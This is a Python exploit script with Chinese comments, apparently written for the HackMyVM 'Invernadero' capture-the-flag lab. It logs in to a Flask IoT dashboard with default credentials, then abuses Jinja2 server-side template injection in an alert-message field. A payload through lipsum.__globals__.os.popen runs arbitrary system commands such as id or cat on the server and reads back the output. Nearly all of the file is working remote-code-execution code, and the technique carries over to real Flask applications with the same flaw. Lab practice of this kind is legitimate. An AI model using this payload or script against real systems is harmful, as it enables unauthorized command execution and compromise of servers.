#!/usr/bin/env python3
"""Invernadero SSTI 利用脚本 (HackMyVM)
针对 8080 端口 Flask IoT 后台的 Jinja2 模板注入:
render_template_string(mensaje_custom, sensor=..., condicion=...)
用法:
python3 ssti_rce.py -t 192.168.1.107 --login # 仅登录并保存会话
python3 ssti_rce.py -t 192.168.1.107 -c 'id' # 单命令执行
python3 ssti_rce.py -t 192.168.1.107 -c 'cat /app/user.txt'
python3 ssti_rce.py -t 192.168.1.107 -p '{{7*7}}' # 自定义 Jinja 表达式
python3 ssti_rce.py -t 192.168.1.107 -c 'id' --user admin --password admin123
python3 ssti_rce.py -t 192.168.1.107 -p '{{7*7}}' --retry # 仅幂等探针允许自动重试
说明:
- 靶机使用 Flask 开发服务器,抗并发能力差,脚本内置请求间隔。
- flash 消息由 session Cookie 承载,POST /guardar_alerta 的 302 重定向
响应(urllib 自动跟随到 /alerts)中即包含回显,因此只需一次 POST;
单独再 GET /alerts 反而看不到已被消费的 flash。
- 每次提交都会在 SQLite 中新增一条告警规则,且 SSTI 命令在服务端先执行、
flash 后返回:回显缺失不等于命令未执行,默认不再自动重发有副作用的
请求。如需重试请确认命令幂等(如 {{7*7}})并显式加 --retry。
- session Cookie 会随规则累积膨胀;超过约 4093 字节后 Flask 会丢弃 Cookie,
此时应手动重登后重试,而非自动重放原命令。
"""
import argparse
import html
import re
import sys
import time
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar
TIMEOUT = 20
DEFAULT_DELAY = 2.0
class InvernaderoClient:
def __init__(self, target, port, username, password, delay=DEFAULT_DELAY):
self.base = f"http://{target}:{port}"
self.username = username
self.password = password
self.delay = delay
self.opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(CookieJar())
)
def _request(self, path, data=None, method=None):
url = f"{self.base}{path}"
body = urllib.parse.urlencode(data).encode() if data else None
req = urllib.request.Request(url, data=body, method=method)
with self.opener.open(req, timeout=TIMEOUT) as resp:
return resp.status, resp.read().decode("utf-8", "replace")
@staticmethod
def _extract_preview(body):
"""从 mensaje-ok 提示中解析 Vista previa 回显。"""
previews = re.findall(
r'
\s*Regla guardada\. Vista previa:\s*(.*?)\s*
',
body,
re.S,
)
if not previews:
return None
# 全部 flash 被 Jinja 渲染进同一条提示,取最后一条即可
return html.unescape(previews[-1]).strip()
def login(self):
_, _ = self._request(
"/login",
data={"username": self.username, "password": self.password},
method="POST",
)
_, dashboard = self._request("/")
if f'username-text">{self.username}' not in dashboard:
raise RuntimeError(
f"登录失败,请检查凭据 ({self.username}:{self.password})"
)
def run_payload(self, payload, retry=False):
"""提交一个模板 payload,返回服务端渲染结果的 Vista previa 回显。
POST /guardar_alerta 会 302 到 /alerts,urllib 默认跟随该跳转,
因此 flash 回显直接出现在本次 POST 的响应体中——不需要再发一次
GET /alerts(那样反而拿到已被消费的空 flash)。
注意:服务端先执行 SSTI 并落库、再 flash 返回,回显缺失不等于未执行。
默认 retry=False 不自动重发;仅当确认 payload 幂等(如 {{7*7}} 的
纯计算探针)时,才用 retry=True 允许重登后重试一次。
"""
data = {
"mensaje_custom": payload,
"sensor": "luz",
"condicion": ">",
"val": "9999",
"envio_de_datos": "telegram",
}
time.sleep(self.delay)
_, body = self._request("/guardar_alerta", data=data, method="POST")
preview = self._extract_preview(body)
if preview is None:
if not retry:
errors = re.findall(
r'\s*(.*?)\s*
', body, re.S
)
reason = ";".join(e.strip() for e in errors) or "页面无提示信息"
raise RuntimeError(
f"未取得回显({reason})。"
"命令可能已在服务端执行且已落库,未自动重试以避免副作用重复执行;"
"请先用幂等探针(如 -p '{{7*7}}')验证会话,确认需要时加 --retry 重试"
)
# 显式重试:多为 session Cookie 膨胀或会话失效,重新登录后仅重试一次
self.login()
time.sleep(self.delay)
_, body = self._request("/guardar_alerta", data=data, method="POST")
preview = self._extract_preview(body)
if preview is None:
errors = re.findall(
r'\s*(.*?)\s*
', body, re.S
)
reason = ";".join(e.strip() for e in errors) or "页面无提示信息"
raise RuntimeError(f"未取得回显({reason})")
return preview
def run_command(self, command, retry=False):
"""通过 lipsum.__globals__.os 执行系统命令。"""
if "'" in command:
raise ValueError("命令中不能包含单引号,请改用双引号或 $'...' 变体")
payload = "{{lipsum.__globals__.os.popen('%s').read()}}" % command
return self.run_payload(payload, retry=retry)
def main():
parser = argparse.ArgumentParser(description="HackMyVM Invernadero SSTI 利用工具")
parser.add_argument("-t", "--target", required=True, help="目标 IP")
parser.add_argument("--port", type=int, default=8080, help="Web 端口,默认 8080")
parser.add_argument("--user", default="admin", help="后台用户名,默认 admin")
parser.add_argument("--password", default="admin123", help="后台口令,默认 admin123")
parser.add_argument("-c", "--command", help="通过 SSTI 执行的系统命令")
parser.add_argument("-p", "--payload", help="自定义 Jinja 表达式,例如 '{{7*7}}'")
parser.add_argument("--login", action="store_true", help="仅验证登录")
parser.add_argument(
"--delay", type=float, default=DEFAULT_DELAY, help="请求间隔秒数,默认 2"
)
parser.add_argument(
"--retry",
action="store_true",
help="回显缺失时重登后重试一次。仅用于幂等探针(如 {{7*7}}),有副作用的命令默认不重试",
)
args = parser.parse_args()
client = InvernaderoClient(
args.target, args.port, args.user, args.password, delay=args.delay
)
print(f"[*] 登录 {args.target}:{args.port} ({args.user}:{args.password})")
client.login()
print("[+] 登录成功")
if args.login:
return 0
if args.payload:
print(f"[*] payload: {args.payload}")
print(f"[+] 回显: {client.run_payload(args.payload, retry=args.retry)}")
return 0
if args.command:
print(f"[*] 命令: {args.command}")
print("[+] 回显:")
print(client.run_command(args.command, retry=args.retry))
return 0
# 默认执行一条身份探测命令,确认漏洞可利用
print("[*] 执行默认验证命令: id")
print("[+] 回显:")
print(client.run_command("id", retry=args.retry))
return 0
if __name__ == "__main__":
try:
sys.exit(main())
except Exception as exc: # noqa: BLE001
print(f"[-] 失败: {exc}", file=sys.stderr)
sys.exit(1)